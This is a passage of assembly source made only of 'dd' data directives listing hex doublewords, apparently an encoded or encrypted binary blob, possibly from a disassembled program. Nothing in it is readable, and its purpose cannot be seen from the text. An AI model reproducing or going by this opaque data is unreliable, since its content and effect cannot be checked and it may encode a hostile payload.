83C563C3h, 0B5D1026Ah dd 0AEB1325Ah, 0CA76846Bh, 7B6B98DDh, 0B6F5177Ah, 0EAB137BFh dd 0B8426556h, 31E83444h, 52E95394h, 0AEB411D9h, 0D6E75256h dd 6A9AF9A5h, 6ED76D5Fh, 3D0C4AAh, 75B13244h, 87BFD260h dd 222BDA71h, 0FB2C333Bh, 830B5048h, 113AF270h, 0D399ABECh dd 0EAA5DBAAh, 3BD13256h, 0C5BB41C2h, 5C86504Bh, 0A6D09951h dd 0ED61CA38h, 2932230Ch, 0D399ABECh, 0DD38C742h, 75A9BD59h dd 0A9583256h, 2AB13256h, 0C8FBD204h, 34949723h, 784905B5h dd 874BC2E5h, 63496EF3h, 25482211h, 0BABCBD59h, 55583256h dd 0AFB13256h, 521ED62Dh, 202F74FFh, 0FD2ADFD4h, 0EB383D50h dd 8DB13256h, 46812EDDh, 0D5BE520Eh, 0AEB1325Ch, 57B137BFh dd 3B8D3D56h, 0C458E7A1h, 1B13256h, 5314AE7Bh, 3580F821h dd 0AF2D16D2h, 4DFEC7FFh, 5FEEBB37h, 1073B836h, 0E1A40FDFh dd 0EEE3DB37h, 72583256h, 0C7B13256h, 0F8AA81FAh, 0EB76A0DDh dd 57B130AEh, 0B458CB56h, 0DAB13256h, 0EAB134D9h, 0C2BE5256h dd 7DD0C787h, 5DB0CA13h, 15D13256h, 4852A5F9h, 0C0CB48EDh dd 6F3A531Ah, 0EC99ABECh dd 75B13ABFh, 2786DC56h, 725034ADh, 1433B1DDh, 43B71ACFh dd 0ABB121BFh, 2396D956h, 0C256F5A6h, 52350246h, 600F791Fh dd 337725Ah, 0A55805DFh, 49B13256h, 21A3FBEBh, 0A04EA981h dd 0AD387E22h, 75B4DB46h, 0EF193256h, 0DE6FACADh, 2BBE31AEh dd 57B1326Bh, 0ABBCB459h, 0DD583256h, 0E5B13256h, 97173AFFh dd 7D284C97h, 752ADFD4h, 0AEB13050h, 0EDD75256h, 2ABE5D17h dd 0D5B13253h, 30F798ECh, 6B58535Bh, 0DAB13256h, 0B330F9DDh dd 0D6326F93h, 5549B137h, 0A99FBF59h, 0B5D13256h, 0F20F54AEh dd 8F3A5389h, 42CCB137h, 0D0353D56h, 0CEB13256h, 9130EBDDh dd 0D304339Bh, 93073D37h, 2D3A5257h, 5667CEECh, 13495310h dd 5DB132D6h, 0AE86B759h, 51583256h, 1B13256h, 0F0542F7Eh dd 134D72F5h, 8CB4DAD5h, 0BAB17EBFh, 0DCD75256h, 4762E797h dd 57B13242h, 4E6FE4Ah, 28CE98C8h, 0DD814B8Fh, 0CA8E3969h dd 65D8B5C7h, 5D4E1F37h, 0BE583256h, 0ECB13256h, 0CDEB0359h dd 0C4C18013h, 733C21B6h, 0F6A7A946h, 33BE37BEh, 5DB1325Fh dd 88ED8D36h, 36D172AEh, 0AB85DB37h, 20483256h, 0E2353D05h dd 7AB13256h, 0BAB130D2h, 0D6D05256h, 862ADFCCh, 0DC44CA50h dd 0CBD10152h, 0D5B1B359h, 6FBE3256h, 75B13256h, 6A79B337h dd 3CA33DB7h, 0AE18CE0Dh, 58313256h, 0ABB19FD3h, 0D4373D56h dd 13B13256h, 7E58F455h, 9B13256h, 0B486603h, 0E0BE0096h dd 9732A7DFh, 29B2CA53h, 0D399A9BBh, 0EC393D36h, 7AB13256h dd 0BAB132DAh, 38025256h, 158D8EE9h, 1FD05355h, 0ABB0BB59h dd 5C4D3256h, 8AD13A11h, 9D768D59h, 0BAB1325Dh, 0D45D889Ch dd 4E524C1Dh, 96AF2A3h, 0ABBCDB37h, 0E97A3256h, 6A75B05Ah dd 16DB203Fh, 0DB0BF928h, 0B4BD75DFh, 0AEB1325Eh, 95874DCBh dd 0AC0E37EBh, 0D5B123BFh, 9C7FD756h, 0AE53C27Dh, 4C709836h dd 0F9EA0FCCh, 0AF5807E2h, 0AFB13254h, 0ABBDB359h, 50BE3256h dd 0EAB13250h, 75B1BF59h, 62463256h, 9B9ACEAFh, 0AEB13DBFh dd 47BB2856h, 246A6F4h, 49C80F16h, 0A20FFB67h, 6558EAA1h dd 6AB13256h, 9C87771h, 7E264A3Bh, 29A887F5h, 28BA7CF7h dd 0B3D13796h, 4E49E1D7h, 98333137h, 53B71ACDh, 5DB1325Dh dd 5AE982C4h, 6D79B126h, 0E39B41E2h, 0D2313DAEh, 8AB13256h dd 0ACD8B30h, 0FD3853A3h, 5258525Eh, 40B13256h, 14E9C75Eh dd 9D29230Eh, 982872B3h, 63D0D8C9h, 0FBBE3E11h, 0BAB13250h dd 3DEB6336h, 0CF585337h, 0BEB13257h, 0ABB13246h, 5894357Dh dd 172408DDh, 0B184CCB1h, 3F88FD7Bh, 0B5D1F265h, 0AEB13258h dd 39877118h, 95654088h, 68E7BE08h, 0C80060A7h, 7858600Fh dd 0EB13256h, 38546FEFh, 0BC6BAE1Ah, 0C9988E2Bh, 0ED3B530Fh dd 87E05257h, 6BBE6808h, 75B1324Fh, 0BAB126BFh, 88B9FC56h dd 0BC3200BAh, 80570CFAh, 3E609071h, 0CECE2A74h, 6A1953C7h dd 7532B759h, 0B94D3256h, 493C3D90h, 47B13256h, 57B13259h dd 8F99096Bh, 89C537A6h, 7D13570Dh, 0F69D898Ch, 3EBE3096h dd 5DB13257h, 0AEB089AAh, 0DBBE3256h, 0ABB13257h, 0DA6A39AAh dd 0EAB111D2h, 0FED75256h, 0DB73B980h, 842DA8DCh, 2BBE3471h dd 57B1325Ah, 0ABB7B959h, 5BBE3256h, 0EAB13256h, 80B0D1D6h dd 3349F155h, 58583A11h, 5BB13256h, 6FB1A4C6h, 42BD75DFh dd 0D5B13250h, 335DD89Ah, 9C44337Ch, 0BAB1323Ah, 0A469C5A3h dd 0AEB1CD73h, 48303D56h, 0A4B13256h, 0D5B12BD3h, 0EAA5DB56h dd 0B8B73256h, 0FDA167D1h, 67524A4Fh, 3E8896Bh, 9B1470D2h dd 6D9AA638h, 6ABE5236h, 8BE86380h, 0D041EDEEh, 6246532Ah dd 5F313D36h, 25B13256h, 0D40B5488h, 6B325351h, 9238CA54h dd 0EB383D5Eh, 8CB13256h, 53BD75DFh, 5DB1325Eh, 0CEF53687h dd 7D51C02Bh, 0A65852AEh, 96B13256h, 0A4EF825Eh, 642454BCh dd 0A0882885h, 52D053AEh, 0AEB138D8h, 0E40E5256h, 0CD809EA3h dd 1CD0E1DDh, 0EAB13CBFh, 0F8859F56h, 25CC7572h, 172EDF4Ch dd 6DF212CDh, 41373D36h, 42B13256h, 0D5B13247h, 3887BDC5h dd 66FE9701h, 4C4594A4h, 6D61FCC1h, 0CFD15292h, 46798B30h dd 0CBD15337h, 82D0CBAEh, 0F259B330h, 20D06DCCh, 0BAB0B359h dd 0D6483256h, 6A32CBBAh, 2D0952AAh, 0CBE00BAFh, 0DA4B8D59h dd 0EAB132DDh, 15D05356h, 0BAB138BFh, 53BCA356h, 0CCB33256h dd 0BF45F7A0h, 0ABB13256h, 0A15BB30Ch, 8AB71A81h, 75B4B659h dd 0F5093256h, 3C981AA4h, 946BB336h, 58F4BC1Dh, 0ABB13FDEh dd 0D5B6DA56h, 0CF993256h, 1C555F1Eh, 31D06978h, 7528A6ECh dd 6782C750h, 578EB1A3h, 0AEABB659h, 0DB583256h, 49B13256h dd 274625EAh, 86E38936h, 0AC7C1213h, 5BB6B994h, 37BD47A9h dd 0F5D05201h, 2C48B836h, 9F4E5337h, 0F108525Eh, 0DCE30469h dd 3C2D56ECh, 0AC59CB06h, 0BEB1325Fh, 0ABB13259h, 124BAD4Bh dd 0CBA6A407h, 5D33FA0Dh, 0B17748F3h, 6B343D96h, 57B13256h dd 57B13DBFh, 727B1D56h, 0EC31C6FEh, 0E746EA36h, 0D41AF572h dd 534435DDh, 5DB13201h, 0AEB8DA36h, 5EC3256h, 28A23C88h dd 0B5FEF86Bh, 32306D37h, 5F659D5Dh, 0AE76B137h, 5DB121BFh dd 4A658256h, 70022AE0h, 8EE24318h, 360D757h, 0B04C34A9h dd 8A4E7EBFh, 0B6313DA9h, 52B13256h, 0AEB134D8h, 573F3D56h dd 0A4B13256h, 0D5B134DEh, 0FE045256h, 0FCD05336h, 4544CE13h dd 0A2443E23h, 0A0583A23h, 8B13256h, 45B72C07h, 3EBEA70Ah dd 0C27C5380h, 7A86CD80h, 0BAB120D5h, 5DBCDB56h, 6B593256h dd 60FDF4A0h, 0A1F619EDh, 3DD64EEDh, 0EAB13A63h, 75BFB559h dd 0B3583256h, 63B13256h, 0B59065E8h, 2CD38B35h, 2FBEF25Dh dd 0D5B1324Eh, 1B58C7AAh, 9CB13255h, 0BAB1325Ah, 553467BCh dd 0CFF97B84h, 711606D9h, 424D77DDh, 0D5B1325Fh, 0EBCC9BDCh dd 4BFC4C5Bh, 0B5B60B43h, 5DB2F5D4h, 0CEE25256h, 0DCD76D37h dd 2EBE5391h, 0D5B13251h, 0EAB0BE59h, 8A443256h, 32BECE13h dd 5DB13247h, 0AEB13EBFh, 5BA6E956h, 0C6CACA59h, 9924513h dd 0EECEB13Ch, 49353D56h, 53B13256h, 5DB1325Ah, 0C2B58B3Bh dd 0A64FB937h, 7A4887Bh, 0D5BD4DD5h, 0EA90B659h, 0FABE3256h dd 0BAB1325Eh, 5DB3BB59h, 0CFD13256h, 57B17DBFh, 0ABB8DB56h dd 0A7EC3256h, 29D27787h, 0CDC790FCh, 454ECDA9h, 5DB13EBFh dd 85CFF156h, 22A6686Eh, 0BFB1504Ah, 0D5B48B15h, 0F8583256h dd 6EB13256h, 0E093BD69h, 0C3A59FFFh, 87A65CF7h, 8AE14841h dd 0A41AC1D1h, 0D5B133DDh, 2E58C756h, 8C4ECDA8h, 0BFA14DD5h dd 5DC7B659h, 2D483256h, 58B72229h, 0ABB1AAD3h, 0D43D3D56h dd 16B13256h, 60343D17h, 53B13256h, 5DB13246h, 0B9C4BA23h dd 0F7391860h, 401B30AEh, 337CCDB5h, 3B575DDh, 75B1325Ch dd 982A4EF9h, 236BF2B8h, 0F13AB9AAh, 57B6DB5Ah, 2FCF3256h dd 2FDD4B3h, 0FB353DABh, 9CB13256h, 0BAB1325Ah, 0C6F1E5AFh dd 70BF71F0h, 0EF3D5AC4h, 0ABB33FBFh, 0D5B7DB56h, 6F773256h dd 8C7573EDh, 46B575DDh, 0A1BD6DDDh, 0AEB0D4BFh, 99085256h dd 0CD9256F1h, 0B4866BEDh, 0EAB122BFh, 3DAB5256h, 106CB74Eh dd 9CC01EEAh, 74189325h, 53F6B9CBh, 0ABB0BF59h, 2D443256h dd 3BD6DDDh, 75B13246h, 1CF67508h, 0C3D27821h, 4640E160h dd 94971BE2h, 0A4B96D6Dh, 0D5B1D8D3h, 0EAA0DB56h, 2E023256h dd 5158FBD4h, 9282FC4Eh, 9AEC1C39h, 50C82ABh, 517FB336h dd 6AAD327Fh, 0F7DBAB2Fh dd 71E6B937h, 58305436h, 3C44EC25h, 0AEB13EBFh, 0A6E4CC56h dd 0AB2A582Ch, 0CC10B101h, 0FAE41954h, 873A5436h, 0B9D0FDDDh dd 0D6D12603h, 59315289h, 36D052A7h, 0B3383D37h, 3CB13256h dd 0EAB13245h, 0BD9FD240h, 77D57929h, 3BBB3ABBh, 0DE493CE3h dd 0DCFC0B11h, 0CBD13E09h, 0D5B1B559h, 32303256h, 404B0272h dd 0BAB9DA37h, 3AF13256h, 0E01C598Ch, 0A53A7CA9h, 719A530Fh dd 12305436h, 0E5D177B4h, 75B132DEh, 7A58B356h, 3CF9EB49h dd 0A7383D37h, 37B13256h, 0AB3D3DA3h, 0B4B13256h, 8AB4D9D5h dd 0AA3054AAh, 0E0D04A34h, 5DB134BFh, 0D6E75356h, 0BEF166E0h dd 0ABB1325Fh, 32F92D04h, 226683D5h, 75C9DBA8h, 314D3256h dd 0DEBE3611h, 0AEB1324Dh, 4458CB36h, 0A0B13256h, 0D263B4AAh dd 0E0097B34h, 7F7B84E0h, 9E06EA76h, 0D6D0C6F7h, 10D13E09h dd 7F4B654Ah, 0CBD0F5DDh, 7B6CF5D7h, 0C1D05F2Ch, 0F5BE3609h dd 0BAB1325Eh, 750BCA36h, 0CFC49618h, 58B4D9D5h, 0ABB134D1h dd 6CD75256h, 0E9D0A3D0h, 57A583DCh, 0BB303D50h, 0A8B13256h dd 0AEB13FBFh, 0EAF8D356h, 694E80CCh, 0E65F953Ah, 953201B9h dd 0F0BE3146h, 0BAB13279h, 5D96BE59h, 47D13256h, 57B13259h dd 8F06EA76h, 105AC6F7h, 5A7A8E81h, 9CD8B0EDh, 0BAB1325Ah dd 0FB26AC84h, 6314BF91h, 0A76C4F2h, 80497337h, 0DD09528Fh dd 0E5AFA3D3h, 75B132DCh, 0E6385356h, 0D1BE3357h, 0AEB13245h dd 0BED05236h, 0ABB1325Ch, 2D8D85B6h, 19060FC8h, 0CDD0B4FBh dd 454ECDA9h, 5DBDB259h, 0A9583256h, 7CB13256h, 134E1ABAh dd 0D008B526h, 8AB13256h, 73393DAEh, 0B5B13256h, 5DB132D5h dd 5425356h, 57B9B359h, 2ABE3256h, 0D5B13254h, 6EBE5336h dd 75B13244h, 0BAB13FBFh, 418A7356h, 8BCBC81Eh, 0E5DE91D4h dd 6758A7B4h, 3C4ECDADh, 0EAB13242h, 0CAE83FBCh, 9C7C8D5Dh dd 49DF7EB9h, 8E33A2D7h, 0D0F62C76h, 4278C737h, 0D5B13251h dd 0CA63DBF8h, 0B7914A46h, 0EF483246h, 0B76B836h, 0AEB13DBEh dd 0D3E91256h, 4D86A3D9h, 0AF267018h, 43C73E86h, 0FED0680Fh dd 0B23E3DBAh, 52B13256h, 0AEB130DCh, 0D4D05256h, 0A258CE92h dd 79B13256h, 160C918Eh, 0DE144926h, 0DC485236h, 3C66FDECh dd 0AEB1DAAFh, 0D6EB3256h, 836C1CBCh, 5ED75250h, 8B41B980h dd 0E10BB9AFh, 0DAB71ACFh, 3CC48830h, 0D4A9A9EEh, 0DABE5331h dd 0ABB1325Eh, 0D5B3BF59h, 8BD13256h, 0F649FB65h, 3EBE3269h dd 5DB1310Eh, 0AEB138BFh, 0FA00EB56h, 77D71FAh, 5E734FA6h dd 0EAB9DB51h, 88323256h, 2E1861E3h, 284E6EA2h, 0AF3B3D5Ah dd 0AEB13256h, 0A3C4CDAFh, 0D5B6BA59h, 8CD13256h, 14D1F5DDh dd 37BE6237h, 5DB13242h, 0AEB6DA36h, 24DB3256h, 0FEB0D56h dd 0BB0E6B83h, 8BBC7636h, 75B202BEh, 7ABACB56h, 5D83B759h dd 0A1D13256h, 0B831E9E9h, 0AC3A5398h, 0D5B13ABFh, 501BD956h dd 0E20EA79Ah, 0BA9DDB87h, 4C583256h, 0B7B13256h, 0FA28D281h dd 49C45792h, 0C0CEE038h, 4D7EE989h, 7AA5F5D5h, 0BAB135DDh dd 5C313D56h, 52B13256h, 0A84E7CBFh, 0EE38C7A9h, 0C03C3DAAh dd 3B13256h, 75B13246h, 5B200382h, 0DA6A2596h, 0B6B05C95h dd 0B6652942h, 0A7C4CDAEh, 15305436h, 5DBED00Ch, 4E539Fh dd 8D4ECE5Eh, 0BD305436h, 0A558FE55h, 5DB13256h, 69003D2h dd 0E745B00Ah, 1FD07ACDh, 75B3A2BEh, 3BD1C756h, 208680BCh dd 0A518D0Dh, 5CD04EC2h, 99353D96h, 0DAB13256h, 0EAB13EDEh dd 73353D56h, 0B5B13256h, 5DB132D6h, 9F58CE56h, 58B13254h dd 0ABB126DEh, 62BE5256h, 0EABBDBA4h, 0A88F3256h, 251EEC03h dd 0ED1DBE4Ah, 52F4B937h, 58B60BAAh, 0ABB339D4h, 0D5A5DB56h dd 0D17E3256h, 404C31C4h, 9723A757h, 670C1BCBh, 735E4F01h dd 124E2E8Ah, 0D432C7AAh, 51BE3252h, 0EAB13211h, 75B122BFh dd 4F0F5E56h, 1686EEE8h, 83D599CAh, 0DA147FB9h, 0A7CEB15Dh dd 0FD353D56h, 3B13256h, 75B1325Fh, 0A004985Ah, 0A70ABA5Dh dd 0AE8FDBBDh, 47583256h, 0ACB13256h, 3887A203h, 15DEB455h dd 8D182DAFh, 260F493h, 0A24ECDA9h, 0AEB0B059h, 0EE443256h dd 0ABB13253h, 0D5B4DB36h, 90E23256h, 0FFA62032h, 11425397h dd 0BB58CBAFh, 574ECDA8h, 52A14DD5h, 0ABC3B659h, 3CD13256h dd 0EAB13251h, 5C7B2D52h, 0DA47663Ah, 0D071E2D7h, 0F1E611C1h dd 0D4495337h, 0A4B72229h, 0D5B15AD3h, 0E5383D56h, 9CB13256h dd 0BAB1325Ch, 2A4F2B63h, 8230AA44h, 0AEF08352h, 0AFF6B9AAh dd 0D9EEB9AFh, 0EAB121BFh, 0A1E18956h, 5A95092h, 0CB6D3DE6h dd 0D67E54A2h, 0E195041Fh, 0ABB194BFh, 0D5BFDB56h, 64EB3256h dd 96B381D3h, 0D7961AD2h, 0E7DE2Fh, 56B575DDh, 0AEBD6DDDh dd 0ABB148BFh, 0D5B6DB56h, 0ACD23256h, 919FF676h, 0BEF6B966h dd 51EEB9AAh, 0AEA2BD59h, 59583256h, 8B13256h, 381F4CAAh dd 2463E5FDh, 3FC09533h, 0BEEE198Bh, 0CF55B236h, 956DDAE9h dd 0BC325323h, 0ABA3DB53h, 98C23256h, 1654E837h, 5FF3618Eh dd 0A34FD18Ah, 3F2C8E67h, 0ADA14DD5h, 57ACB759h, 0EA483256h dd 12063D36h, 0EAB13DBEh, 0EF9DFD56h, 328767Dh, 0E6D5DBDEh dd 0C836FA10h, 7CD069A3h, 100B528Fh, 0B3CF9897h, 63D0F9DDh dd 8CB0330Ah, 454ECDEEh, 5DBADBA9h, 0ECD3256h, 7CED56FAh dd 346E8BC0h, 6ABE521Ah, 55D7529Dh, 14D0819Dh, 0BAB137EFh dd 0B9315256h, 0BD586163h, 7FB13256h, 0EB0D727h, 76D1989Fh dd 0AD4144D3h, 0C4F04CEFh, 0DBE90BF3h, 0B44D99A5h, 514ECFD3h dd 5A363DAFh, 42B13256h, 0D5B1325Eh, 0A23AF943h, 3DFA4155h dd 0BD353D37h, 52B13256h, 0AEB133D4h, 5878CA56h, 0ABB13ED3h dd 0D3323D56h, 0E5B13256h, 75B132D8h, 0BAB9F056h, 5DB6B859h dd 2ED13256h, 0EA0171B6h, 20446737h, 0DB373DBAh, 3B13256h dd 75B1325Fh, 79A9D47Fh, 904DDA9Fh, 5275B1C3h, 57B13BBFh dd 2C851D56h, 0BBC96C84h, 0E5D1D37Eh, 75B135DAh, 0BB393D56h dd 0A8B13256h, 0CEB977DDh, 57B2B359h, 6B313256h, 610B5454h dd 0AF8A5310h, 2F333D5Ah, 0DAB13256h, 0D69FDBD7h, 6B3B181Eh dd 9D305237h, 0DD0DFDB9h, 0D5B4B659h, 6BD73256h, 14D7688Ch dd 0B5A1776Dh, 5DB106D1h, 0A2333D56h, 0BEB13256h, 0ABB13251h dd 58E5EBF8h, 2D1BF792h, 75B1CE13h, 0AA583256h, 0BDB13256h dd 6AEC4CCBh, 421095C3h, 8F0B6037h, 3CBB1D2Ch, 0EAB13249h dd 89F4F5AAh, 0BAB13257h, 5DA0DBAAh, 0A1493256h, 57B138D4h dd 24BE5256h, 0D5B13256h, 8BD0F3DCh, 75B7DA36h, 3BA73256h dd 54AEAB54h, 0CEEF6C00h, 0AD3A6C07h, 0A5585337h, 6DB13256h dd 99D0B66Ch, 0A0752F97h, 0E4FA9B16h, 0A1F4B961h, 0AEA1B159h dd 5C583256h, 13B13256h, 0DB497ED7h, 0B69BF053h, 1578BB67h dd 0BABDF037h, 0A84D67AEh, 47D1DEDDh, 57B1325Ch, 67AFE5C1h dd 7B15B7EFh, 69D0516Dh, 0FEBECE92h, 0BAB13247h, 5DB6DA36h dd 6FD03256h, 3BD72115h, 0CAD16C9Dh, 0D9585237h, 0E3B13256h dd 0A875D724h, 5F6F485h, 0B58E3D7Fh, 0AEB13256h, 1B5BB30Ch dd 0A4B71AB4h, 0D5B122DEh, 0EABADB56h, 14B23256h, 95FEC3E6h dd 0A110AE9Fh, 0AF383D22h, 0ABB13256h, 0A358FB65h, 0FDB13256h dd 403FCB8Ah, 800A4E99h, 53D1E965h, 5DB1325Dh, 9BEB14A8h dd 6F4BD2Eh, 5223F652h, 29ECBB37h, 7E0BB9AEh, 7AB71ACFh dd 0BAB122DFh, 5DBADB56h, 3F473256h, 0F4B7AFAEh, 64DA3E85h dd 0D58EB161h, 0E80BB659h dd 0FABE3256h, 0BAB1325Ah, 5DB135BFh, 0E8EDA356h, 5BF4927Dh dd 0A44E0DD5h, 0D5B10DD3h, 0EABEDB56h, 0D34C3256h, 0EA93EF5Bh dd 0AE2D0103h, 0C62A2036h, 4376B1A9h, 0ABB123BFh, 1F3E6556h dd 0A4E9586Fh, 723522EAh, 815F0D62h, 0F75804F5h, 0A14ECDA9h dd 57B135D3h, 0AA3C3D56h, 29B13256h, 0EAB54DD5h, 75F0B659h dd 0AA583256h, 71B13256h, 0EAFC6E50h, 4CCB0A9Dh, 3402C294h dd 56334F66h, 0E5B13E29h, 75B110D2h, 0F258CA56h, 52B13256h dd 0AEB124D3h, 57A0DB56h, 0DE23256h, 0F0E0E65Dh, 0C321FC01h dd 53FD95BCh, 4563559Eh, 0DDBECE13h, 0AEB13257h, 4376B1AFh dd 64063D36h, 505EB330h, 0DC5853DFh, 7A4ECDA9h, 0BAB138DDh dd 0AD305256h, 9A4505C9h, 0D4D0C3DCh, 0A4B42229h, 0D5B143D2h dd 55BE5256h, 14348684h, 0BCA14DD5h, 5D06B759h, 0BE583256h dd 6BB13256h, 0E502C37Ah, 0EE032C73h, 9292601h, 34ED1B4Ch dd 0BC3D3D36h, 52B13256h, 0AEB132D7h, 116EB256h, 0AFF6B937h dd 0D5B13CBFh, 81178156h, 1A8A93Fh, 2FAA3126h, 0D6764DA2h dd 2BBE3E09h, 57B1325Dh, 0F4085436h, 3430543Ch, 3D07723h dd 75B13345h, 0BAB137BFh, 88DB6656h, 0E93A6600h, 83AC752h dd 9203525Ah, 0D5B122BFh, 76A0E656h, 0A901643Fh, 62B96937h dd 478697D9h, 665853C3h, 37B13256h, 0ABB122BEh, 0F46FBD56h dd 0A8BEC40Ah, 0F4D37D58h, 0D2471D80h, 5DA0DBE6h, 0C393256h dd 2BBE62CAh, 0AC1DE32Dh, 0D7FAEFFAh, 0B5D953DDh, 146EB930h dd 0BEF6B9AFh, 0B5305436h, 0A159D17Ah, 10B13256h, 0B93C50F5h dd 29F51290h, 0FCB509DFh, 280E9A68h, 0E38D5D11h, 51EEB937h dd 0AEB9B559h, 0D5BE3256h, 0ABB13254h, 8A9A5336h, 0EABADB52h dd 0A5E23256h, 14091FD9h, 1659BC51h, 0AB5AB179h, 57A7B959h dd 0BA583256h, 0DCB13256h, 8F2DDF8Fh, 0F7D63CBh, 0B045A851h dd 0A76691FCh, 0AEB6BB59h, 0D5BE3256h, 0ABB13257h, 0C5CEB1AAh dd 0F2343D55h, 80B13256h, 5D75217h, 55598A4Ah, 80B13256h dd 0D8EDDA7Fh, 0F93E3DAFh, 0FED06A0Eh, 0EAA5DB8Fh, 0AC953256h dd 7B9CBC64h, 17109041h, 4C7B2C3Bh, 0E699ACABh, 2248F898h dd 20B0330Ah, 154ECDEEh, 75A1DBA9h, 25EC3256h, 24F9836Ch dd 80CCD627h, 0C0AB595h, 2BD1B4DCh, 53BED091h, 0EAB13253h dd 0BFA222E8h, 0BF08534Bh, 0B4B13256h, 0AEB1325Ah, 5F67C229h dd 0BAB3FB9Bh, 1070B9F4h, 55D199A5h, 60D5052Fh, 0BAB1B359h dd 0B4D03256h, 514ECF1Fh, 57B7B559h, 20D13256h, 0B4D0528Eh dd 55BE5237h, 633E3D9Fh, 52B13256h, 5DB13246h, 233D9992h dd 36902F5Ah, 0E294B970h, 0F488410Fh, 0AF3A530Eh, 72363DAAh dd 0DAB13256h, 0D7628D59h, 0CE7853B7h, 9F3054AFh, 68D06A6Dh dd 0D5B13ABFh, 0AEA6D156h, 5DE68D03h, 0AE586276h, 9B13256h dd 0F464EFDh, 0DDDE9953h, 8BB1DC34h, 3C92C068h, 0BBF6F32Bh dd 75B120BFh, 38A2ED56h, 10977907h, 2C07CCA0h, 816FD880h dd 0F8860F48h, 0D5B134BFh, 0A1247256h, 9C64676Ch, 0BAB13246h dd 8C7C32A7h, 506EE0D8h, 47BAB0ABh, 0D94E902Bh, 0D5B132BEh dd 306856h, 7399D44Fh, 0BAA5DBAAh, 4D563256h, 0FD73960Fh dd 0E1ACD95Ah, 680763B1h, 890F319h, 0E2585178h, 70B13256h dd 780F3173h, 0D070EB23h, 862B4FCCh, 433E3D50h, 42B13256h dd 0D5B13259h, 0C0CE538Eh, 6693AC21h, 96BA6CA1h, 0E5EA5E80h dd 0AEB13232h, 52FDDAAEh, 0AC583256h, 7AB13256h, 80BFA55h dd 7E3AD35Bh, 0BAB121BFh, 0EBE82056h, 6A09812Dh, 16809650h dd 0D3920134h, 8672282Bh, 0BDD1F36Dh, 0D15AB330h, 0DB496C1Fh dd 5DB1A0BFh, 0E5B2C756h, 57BADB52h, 0A83E3256h, 56CA54BEh dd 7A2A2833h, 7A70098Ah, 0BAB194D4h, 5C3D3D56h, 52B13256h dd 0ABA17955h, 0ABB126BFh, 0EF07D456h, 9B5CFEC4h, 0F6BB0D66h dd 0DC71383Ch, 58448D95h, 0A17009F1h, 57B115D4h, 0ABBADB56h dd 0B01F3256h, 7F792611h, 8F31ADD5h, 0BA92DB14h, 50583256h dd 7FB13256h, 95375E45h, 59BE143Bh, 0BB03713Ch, 0EAB14EBFh dd 0FED75256h, 0D60B6585h, 5F4B324h, 0AEDADB37h, 0D6BE3256h dd 0ABB13251h, 0D5B0BF59h, 67493256h, 5CDA2CCCh, 0BABDDB50h dd 36903256h, 73039294h, 223041F7h, 784EAEB0h, 0D5B7BB59h dd 61D13256h, 14EA63A5h, 0BAB106BFh, 853A5256h, 23D0CADDh dd 7EDF76CCh, 0A4595250h, 0ABB13256h, 0F243F70Ah, 0FFB18A79h dd 493796Bh, 58580B85h, 0CAB13256h, 0FAAFB456h, 0E008540Eh dd 64E5370h, 0E54969AFh, 75B12BD6h, 0BAA5DB56h, 3C83256h dd 9E57E303h, 65C785CCh, 731D4643h, 0A54D8FF5h, 8AE8972Dh dd 75B13BBEh, 0C8A59356h, 2A565E54h, 0F648E383h, 0AFE9CB37h dd 0CD74B836h, 325FFDD7h, 0F958F137h, 0B4B13256h, 9E1AEEA4h dd 4F7E9283h, 1C915656h, 0D657620Bh, 20BEDF24h, 0D5B13257h dd 0E75867A3h, 7DB13256h, 0BC0E4CB9h, 0F76293EBh, 230BC704h dd 4558DEDDh, 35B13256h, 284C49BEh, 34241709h, 0A2483539h dd 0F917A916h, 5DB1DA58h, 2FEB3256h, 7F5918BCh, 0AA353D50h dd 20B13256h, 8CD152A3h, 15226FEDh, 0BAB137BEh, 2DE39556h dd 46E96F27h, 57B13259h, 579FFEB3h, 2B24770Dh, 3393EE8Dh dd 2EE59006h, 3C5337h, 5B99A82Bh, 0AEB13DBFh, 0AEAE3B56h dd 9DA931A9h, 0E703AD33h, 0FC08DDCFh, 9CB977DDh, 0BAB13253h dd 980C302Bh, 0A1B6BB1Fh, 57B135DDh, 0AA373D56h, 2CB13256h dd 3BD77DDh, 75B1325Fh, 34BDEEh, 7999096Bh, 0AAF6BBA6h dd 57BCB159h, 2AD13256h, 0DF0AF4B4h, 0BE748C1Ch, 0FED065D9h dd 53D12213h, 5DB1325Dh, 5278FD6Bh, 601A3F8Ah, 42E26206h dd 0D5B13242h, 2A1845CDh, 0BE735E59h, 4A238458h, 580FCE35h dd 0E01D3064h, 5BF6BB37h, 0ABBFBA59h, 54D13256h, 0BB28B1A4h dd 75393D1Bh, 0DBB13256h, 0A5A577DDh, 0BEF6BBA3h, 0BED0CBAAh dd 0ABB1325Eh, 0CC516531h, 88C07DA5h, 79343D9Fh, 0B5B13256h dd 5DB134D4h, 0AE303D56h, 95B13256h, 0CBD13246h, 0B36B8D59h dd 8BBE15ECh, 75353D05h, 0E4B13256h, 3BD15237h, 0CF00DDEDh dd 64B8B790h, 0A4F63474h, 0D5B135D6h, 0EB323D56h, 8CB13256h dd 0ADC2283Eh, 5DBFDBFEh, 0A7C23256h, 139860A0h, 17653A21h dd 567A9F00h, 0BC6BB236h, 0C04E53AFh, 0BC93141Fh, 5DAFB359h dd 0FED13256h, 57A5DA0Eh, 0C8BB3256h, 62329F88h, 163E0BBFh dd 6876047Ch, 8E5A57ECh, 3CEAB1E5h, 0D30FB7DBh, 0D7D13473h dd 26BE1BA0h, 0D5B13253h, 69FBE6ECh, 0A54E5369h, 0BAB13BBFh dd 0DA8DC656h, 82C3343Ch, 0BED15C99h, 0ABB13247h, 3FE8ACEAh dd 0FF02F4E1h, 0CC8F3B7Dh, 1E9E06A1h, 3DE3539Eh, 0AEB13BBEh dd 4B30DA56h, 31937D98h, 6CD78717h, 5FEAD03Bh, 0F3BE5325h dd 0BAB13257h, 493BBFAFh, 0A1B71ACAh, 57B128D3h, 0BF323D56h dd 3CB13256h, 0EAB13259h, 397B9A09h, 25D2332Dh, 57DA9BF6h dd 0FFB207B1h, 3B52B336h, 0CAB49DCDh, 0B3D1E2A9h, 13AC58EEh dd 8DEBCB37h, 26A5B0DBh, 5248347Eh, 47BD72E1h, 57B13246h dd 0E65E1F32h, 0A0BABFF3h, 68A712FEh, 92B02520h, 0BABDB759h dd 5A583256h, 73B13256h, 0F4318C87h, 733A4833h, 0D5B0B759h dd 0B8493256h, 75B0B659h, 0B5493256h, 0A1EBC767h, 2ABEF155h dd 57B1325Bh, 63305436h, 373047EEh, 0F188AA0Bh, 4C33BB37h dd 46B71056h, 3D72CE37h, 